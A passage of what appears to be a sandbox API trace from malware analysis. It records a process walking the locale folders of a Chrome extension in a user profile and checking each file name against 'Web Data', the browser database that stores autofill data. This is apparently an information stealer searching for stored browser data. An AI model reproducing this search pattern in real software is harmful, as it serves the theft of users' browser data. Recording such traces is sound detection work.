0x0 [0056.450] LocalFree (hMem=0x2e0210) returned 0x0 [0056.450] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.450] lstrcmpiA (lpString1=".", lpString2="lt") returned -1 [0056.450] lstrcmpiA (lpString1="..", lpString2="lt") returned -1 [0056.450] LocalFree (hMem=0x2e0100) returned 0x0 [0056.450] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.450] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.450] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.450] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.450] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.450] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.450] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.450] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.451] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.451] LocalFree (hMem=0x2e0100) returned 0x0 [0056.451] LocalFree (hMem=0x2e0210) returned 0x0 [0056.451] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.451] lstrcmpiA (lpString1=".", lpString2="lv") returned -1 [0056.451] lstrcmpiA (lpString1="..", lpString2="lv") returned -1 [0056.451] LocalFree (hMem=0x2e0100) returned 0x0 [0056.451] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.451] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.451] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.451] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.451] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.451] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.451] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.451] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.451] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.451] LocalFree (hMem=0x2e0100) returned 0x0 [0056.451] LocalFree (hMem=0x2e0210) returned 0x0 [0056.451] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.451] lstrcmpiA (lpString1=".", lpString2="ml") returned -1 [0056.451] lstrcmpiA (lpString1="..", lpString2="ml") returned -1 [0056.451] LocalFree (hMem=0x2e0100) returned 0x0 [0056.451] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.451] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.451] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.451] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.451] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.451] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.451] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.451] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.451] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.451] LocalFree (hMem=0x2e0100) returned 0x0 [0056.451] LocalFree (hMem=0x2e0210) returned 0x0 [0056.451] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.451] lstrcmpiA (lpString1=".", lpString2="mn") returned -1 [0056.451] lstrcmpiA (lpString1="..", lpString2="mn") returned -1 [0056.452] LocalFree (hMem=0x2e0100) returned 0x0 [0056.452] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.452] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.452] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.452] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.452] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.452] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.452] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.452] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.452] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.452] LocalFree (hMem=0x2e0100) returned 0x0 [0056.452] LocalFree (hMem=0x2e0210) returned 0x0 [0056.452] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.452] lstrcmpiA (lpString1=".", lpString2="mr") returned -1 [0056.452] lstrcmpiA (lpString1="..", lpString2="mr") returned -1 [0056.452] LocalFree (hMem=0x2e0100) returned 0x0 [0056.452] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.452] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.452] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.452] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.452] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.452] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.452] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.452] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.452] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.452] LocalFree (hMem=0x2e0100) returned 0x0 [0056.452] LocalFree (hMem=0x2e0210) returned 0x0 [0056.452] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.452] lstrcmpiA (lpString1=".", lpString2="ms") returned -1 [0056.452] lstrcmpiA (lpString1="..", lpString2="ms") returned -1 [0056.452] LocalFree (hMem=0x2e0100) returned 0x0 [0056.452] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.453] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.453] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.453] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.453] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.453] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.453] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.453] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.453] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.453] LocalFree (hMem=0x2e0100) returned 0x0 [0056.453] LocalFree (hMem=0x2e0210) returned 0x0 [0056.453] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.453] lstrcmpiA (lpString1=".", lpString2="ne") returned -1 [0056.453] lstrcmpiA (lpString1="..", lpString2="ne") returned -1 [0056.453] LocalFree (hMem=0x2e0100) returned 0x0 [0056.453] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.453] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.453] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.453] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.453] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.453] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.453] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.453] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.453] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.453] LocalFree (hMem=0x2e0100) returned 0x0 [0056.453] LocalFree (hMem=0x2e0210) returned 0x0 [0056.453] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.453] lstrcmpiA (lpString1=".", lpString2="nl") returned -1 [0056.453] lstrcmpiA (lpString1="..", lpString2="nl") returned -1 [0056.453] LocalFree (hMem=0x2e0100) returned 0x0 [0056.453] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.453] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.453] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.453] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.453] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.453] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.453] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.453] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.454] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.454] LocalFree (hMem=0x2e0100) returned 0x0 [0056.454] LocalFree (hMem=0x2e0210) returned 0x0 [0056.454] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.454] lstrcmpiA (lpString1=".", lpString2="no") returned -1 [0056.454] lstrcmpiA (lpString1="..", lpString2="no") returned -1 [0056.454] LocalFree (hMem=0x2e0100) returned 0x0 [0056.454] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.454] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.454] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.454] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.454] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.454] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.454] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.454] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.454] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.454] LocalFree (hMem=0x2e0100) returned 0x0 [0056.454] LocalFree (hMem=0x2e0210) returned 0x0 [0056.454] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.454] lstrcmpiA (lpString1=".", lpString2="pl") returned -1 [0056.454] lstrcmpiA (lpString1="..", lpString2="pl") returned -1 [0056.454] LocalFree (hMem=0x2e0100) returned 0x0 [0056.454] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.454] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.454] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.454] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.454] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.454] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.454] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.454] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.454] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.454] LocalFree (hMem=0x2e0100) returned 0x0 [0056.454] LocalFree (hMem=0x2e0210) returned 0x0 [0056.454] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.454] lstrcmpiA (lpString1=".", lpString2="pt_BR") returned -1 [0056.454] lstrcmpiA (lpString1="..", lpString2="pt_BR") returned -1 [0056.455] LocalFree (hMem=0x2e0100) returned 0x0 [0056.455] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.455] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.455] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.455] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.455] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.455] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.455] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.455] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.455] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.455] LocalFree (hMem=0x2e0320) returned 0x0 [0056.455] LocalFree (hMem=0x2e0210) returned 0x0 [0056.455] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.455] lstrcmpiA (lpString1=".", lpString2="pt_PT") returned -1 [0056.455] lstrcmpiA (lpString1="..", lpString2="pt_PT") returned -1 [0056.455] LocalFree (hMem=0x2e0100) returned 0x0 [0056.455] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.455] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.455] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.455] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.455] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.455] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.455] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.455] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.455] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.456] LocalFree (hMem=0x2e0320) returned 0x0 [0056.456] LocalFree (hMem=0x2e0210) returned 0x0 [0056.456] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.456] lstrcmpiA (lpString1=".", lpString2="ro") returned -1 [0056.456] lstrcmpiA (lpString1="..", lpString2="ro") returned -1 [0056.456] LocalFree (hMem=0x2e0100) returned 0x0 [0056.456] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.456] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.456] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.456] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.456] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.456] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.456] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.456] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.457] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.457] LocalFree (hMem=0x2e0100) returned 0x0 [0056.457] LocalFree (hMem=0x2e0210) returned 0x0 [0056.457] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.457] lstrcmpiA (lpString1=".", lpString2="ru") returned -1 [0056.457] lstrcmpiA (lpString1="..", lpString2="ru") returned -1 [0056.457] LocalFree (hMem=0x2e0100) returned 0x0 [0056.457] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.457] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.457] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.457] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.457] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.457] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.457] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.457] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.457] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.457] LocalFree (hMem=0x2e0100) returned 0x0 [0056.457] LocalFree (hMem=0x2e0210) returned 0x0 [0056.457] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.457] lstrcmpiA (lpString1=".", lpString2="si") returned -1 [0056.457] lstrcmpiA (lpString1="..", lpString2="si") returned -1 [0056.457] LocalFree (hMem=0x2e0100) returned 0x0 [0056.457] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.457] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.457] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.457] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.457] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.457] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.458] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.458] LocalFree (hMem=0x2e0100) returned 0x0 [0056.458] LocalFree (hMem=0x2e0210) returned 0x0 [0056.458] lstrcmpiA (lpString1=".", lpString2="sk") returned -1 [0056.458] lstrcmpiA (lpString1="..", lpString2="sk") returned -1 [0056.458] LocalFree (hMem=0x2e0100) returned 0x0 [0056.458] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.458] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.458] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.458] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.458] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.458] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.458] LocalFree (hMem=0x2e0100) returned 0x0 [0056.458] LocalFree (hMem=0x2e0210) returned 0x0 [0056.458] lstrcmpiA (lpString1=".", lpString2="sl") returned -1 [0056.458] lstrcmpiA (lpString1="..", lpString2="sl") returned -1 [0056.458] LocalFree (hMem=0x2e0100) returned 0x0 [0056.458] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.458] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.459] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.459] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.459] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.459] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.459] LocalFree (hMem=0x2e0100) returned 0x0 [0056.459] LocalFree (hMem=0x2e0210) returned 0x0 [0056.459] lstrcmpiA (lpString1=".", lpString2="sr") returned -1 [0056.459] lstrcmpiA (lpString1="..", lpString2="sr") returned -1 [0056.459] LocalFree (hMem=0x2e0100) returned 0x0 [0056.459] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.459] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.459] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.459] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.459] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.459] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.459] LocalFree (hMem=0x2e0100) returned 0x0 [0056.459] LocalFree (hMem=0x2e0210) returned 0x0 [0056.459] lstrcmpiA (lpString1=".", lpString2="sv") returned -1 [0056.459] lstrcmpiA (lpString1="..", lpString2="sv") returned -1 [0056.459] LocalFree (hMem=0x2e0100) returned 0x0 [0056.459] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.459] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.459] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.459] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.459] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.459] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.459] LocalFree (hMem=0x2e0100) returned 0x0 [0056.459] LocalFree (hMem=0x2e0210) returned 0x0 [0056.459] lstrcmpiA (lpString1=".", lpString2="sw") returned -1 [0056.459] lstrcmpiA (lpString1="..", lpString2="sw") returned -1 [0056.459] LocalFree (hMem=0x2e0100) returned 0x0 [0056.460] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.460] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.460] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.460] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.460] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.460] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.460] LocalFree (hMem=0x2e0100) returned 0x0 [0056.460] LocalFree (hMem=0x2e0210) returned 0x0 [0056.460] lstrcmpiA (lpString1=".", lpString2="ta") returned -1 [0056.460] lstrcmpiA (lpString1="..", lpString2="ta") returned -1 [0056.460] LocalFree (hMem=0x2e0100) returned 0x0 [0056.460] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.460] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.460] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.460] lstrcmpiA (lpString1="..", lpString2="..") 